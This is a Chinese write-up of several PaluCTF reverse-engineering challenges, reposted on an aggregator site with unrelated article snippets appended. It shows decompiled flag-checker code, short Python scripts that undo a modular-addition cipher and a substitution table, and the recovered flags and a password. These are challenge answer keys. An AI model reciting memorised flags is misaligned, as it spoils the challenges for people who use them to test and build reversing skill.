{char v1[41]; // [rsp+Fh] [rbp-29h] BYREFsub_2A20(&obj, "364d4d5c3e387e00421c597a0a7302144d5b70087e064619567336297d151f56770a7935424f2a780643", v1);__cxa_atexit((void (__fastcall *)(void *))&std::string::~string, &obj, &off_50D8);sub_2A20(&unk_5360, "flag{Is_This_Real?}", v1);__cxa_atexit((void (__fastcall *)(void *))&std::string::~string, &unk_5360, &off_50D8);sub_2A20(&qword_5340, "PaluCTF", v1);return __cxa_atexit((void (__fastcall *)(void *))&std::string::~string, &qword_5340, &off_50D8);
}
#3,main流程
__int64 __fastcall main(int a1, char **a2, char **a3)
{...std::operator<<<std::char_traits<char>>(&std::cout, "Check Flag:", v9);std::operator>><char>(&std::cin, &unk_5360);  // 输入flagsub_25C0(v17, &unk_5360, &qword_5340);        // 加密v10 = n;v11 = qword_5388;v12 = qword_5388;if ( n <= qword_5388 )v12 = n;if ( v12 && memcmp(s1, obj, v12) || (v13 = v10 - v11, v13 > 0x7FFFFFFF) || v13 < (__int64)0xFFFFFFFF80000000LL )    //与obj比较{std::string::_M_dispose(&s1);goto LABEL_14;}...
}
#4,加密
__int64 *__fastcall sub_25C0(__int64 *a1, char **a2, _QWORD *a3)
{...v3 = a1 + 2;*((_BYTE *)a1 + 16) = 0;*a1 = (__int64)(a1 + 2);v4 = *a2;a1[1] = 0LL;v13 = &a2[1][(_QWORD)v4];if ( v4 != v13 ){v6 = 0LL;v7 = 0;while ( 1 ){v9 = v6 + 1;v12 = (*v4 + *(char *)(*a3 + v7)) % 128;  //a2明文 a3 key c=(a2[i]+key[i])%128v10 = a1 + 2 == v3 ? 15LL : a1[2];if ( v10 < v9 ){std::string::_M_mutate(a1, v6, 0LL, 0LL, 1LL);v3 = (__int64 *)*a1;}++v4;*((_BYTE *)v3 + v6) = v12;  // a1[i] = cv8 = *a1;a1[1] = v9;*(_BYTE *)(v8 + v9) = 0;v7 = (unsigned __int64)(v7 + 1) % a3[1];if ( v13 == v4 )break;v6 = a1[1];v3 = (__int64 *)*a1;}}return a1;
}

这个加密部分看上去非常看不懂,能看懂的只有一句:(m[i]+key[i])%128 

然后直接拿这句解密就行了。

a = bytes.fromhex("364d4d5c3e387e00421c597a0a7302144d5b70087e064619567336297d151f56770a7935424f2a780643")
key = b"PaluCTF"
bytes([(a[i]-key[i%7])%128 for i in range(len(a))])
b'flag{d80a0d76-23af-486e-a0bc-43a463eac552}'

帕鲁被病毒感染了

还以为真是病毒,比赛的时候都没打开。

一个png文件,这应该是misc走错门了吧。修改高度可以显示密码。解开压缩包。从一大堆文件里找,找到一个串。到此为止完全是misc的内容。

THIS IS WHAT YOU ARE LOOKING FOR:    0n3_n00b_ru1n5_0n3_hundr3d_pr05

Reverse-签到

就是因为这个题才没认真作。烤打出题人啊!

程序逻辑看不清,太复杂了。从一个文件local.txt读加密后写到encrypted.txt

将一个码表写入local.txt然后运行程序可以得到加密码表,并且与位置无关。显然只是替换加密,但显然是多对一的关系,因为码表有重复。8字节重复就是256个解。(密文里的0和6分别对应03和19)

enc = 'jmdiz61904646906034535196{'dic1 = 'dbcdejihijkmmnopqrstuvwxyz0690123456_-+z{'
dic2 = 'abcdefghijklmnopqrstuvwxyz0123456789_-+{}'''.join([dic2[dic1.index(i)] for i in enc])
#'flagz14207171201067868421}'

后问别人说出题人说题目有问题,这题是逆向里解第3多的:14解,细思极恐!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/641262.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Java中的super

package day33; ​ public class Person {public String name;public int age; ​public Person() {System.out.println("调用了父类的无参构造");} } ​ package day33; ​ public class teacher extends Person{public teacher() {System.out.println("调用了…

Linux开机启动流程

Linux开机启动流程详细步骤如下图&#xff1a; 其中&#xff1a; POST:Power On Self Test --加电自检 BIOS: Basic Input Output System --基础输入输出系统 MBR: Master Boot Record --主引导记录 GRUB: GRand Uni…

pytorch安装(含cuda、cudnn安装教程)

pytorch安装&#xff08;含cuda、cudnn安装教程&#xff09; 一、创建python虚拟环境二、CUDA安装1、查看CUDA支持版本2、下载CUDA3、下载cuDNN4、安装CUDA5、安装cuDNN 三、pytorch安装1.使用命令安装2.手动安装 win10 64位 环境下安装CUDA 11.8和 cuDNN v8.9.0 一、创建pytho…

Linux:服务器硬件及RAID配置

Linux&#xff1a;服务器硬件及RAID配置 服务器 服务器是什么 服务器的英文名称为“ Server”&#xff0c;是指在网络上提供各种服务的高性能计算机。作为网络的节点&#xff0c;存储、处理网络上80&#xff05;的数据、信息&#xff0c;因此也被称为网络的灵魂。 服务器和…

【PCL】教程global_hypothesis_verification 通过验证模型假设来实现 3D 对象识别与位姿估计...

测试程序1 milk.pcd milk_cartoon_all_small_clorox.pcd 终端输出1&#xff1a; Model total points: 12575; Selected Keypoints: 193 Scene total points: 307200; Selected Keypoints: 7739 [pcl::SHOTEstimation::computeFeature] The local reference frame is not valid!…

应对电网挑战!lonQ与橡树岭国家实验室利用量子技术改善关键基础设施

内容来源&#xff1a;量子前哨&#xff08;ID&#xff1a;Qforepost&#xff09; 文丨浪味仙 排版丨沛贤 深度好文&#xff1a;1800字丨6分钟阅读 摘要&#xff1a;美国电网正在面临需求增加和能源扩散的挑战&#xff0c;对能够应对优化和安全挑战的创新解决方案有着迫切需求…

Day4 商品管理

Day4 商品管理 这里会总结构建项目过程中遇到的问题&#xff0c;以及一些个人思考&#xff01;&#xff01; 学习方法&#xff1a; 1 github源码 文档 官网 2 内容复现 &#xff0c;实际操作 项目源码同步更新到github 欢迎大家star~ 后期会更新并上传前端项目 编写品牌服务 …

【第4讲】XTuner 微调 LLM:1.8B、多模态、Agent

目录 1 简介2 基础知识2.1 finetune简介2.2 xtuner简介2.2.1 技术架构2.2.2 快速上手xtuner 2.3 8GB显存玩转LLM&#xff08;intern1.8b&#xff09;2.3.1 flash attention vs deepspeed zero2.3.2 相关版本更新和使用 2.4 多模态LLM2.4.1 多模态LLaVA基本原理简介2.4.2 快速上…

vue 脚手架创建

脚手架创建 介绍 脚手架是什么呢&#xff0c;就是vue自动创建脚手架的项目模板&#xff0c;用于搭建项目的整体骨架&#xff0c;就比如后端开发时&#xff0c;咱们可以创建一个空项目&#xff0c;一步步创建为mvc项目&#xff0c;但是vs封装了mvc的框架&#xff0c;我们可以直…

爱普生RX-8130CE内置电池控制 RTC

特点&#xff1a;(1)封装极小&#xff0c;集成度高RX-8130CE是一个带|2C接口的实时时钟模块&#xff0c;内部集成32.768KHz晶体振荡器。实时时钟功能不仅集成了年、月、日、星期、小时、分、秒的日历和时钟计数器&#xff0c;同时也有时间闹钟、间隔定时器、时间更新中断等功能…

面向对象目录总结

【零】思维导图 【一】初识面向对象 Python 初识面向对象-CSDN博客 【二】面向对象-封装 Python 面向对象之封装和装饰器property_面向对象python封装property-CSDN博客 【三】面向对象-继承 Python 面向对象之继承和组合_面向对象 组合 继承-CSDN博客 【四】面向对象-多…

OpenHarmony开发实例:【电话簿联系人Contacts】

样例简介 Contacts应用是基于OpenHarmony SDK开发的安装在润和HiSpark Taurus AI Camera(Hi3516d)开发板标准系统上的应用&#xff1b;应用主要功能是展示联系人列表&#xff0c;并点击某一列弹出联系人详细信息&#xff1b; 运行效果 样例原理 样例主要有一个list组件和dia…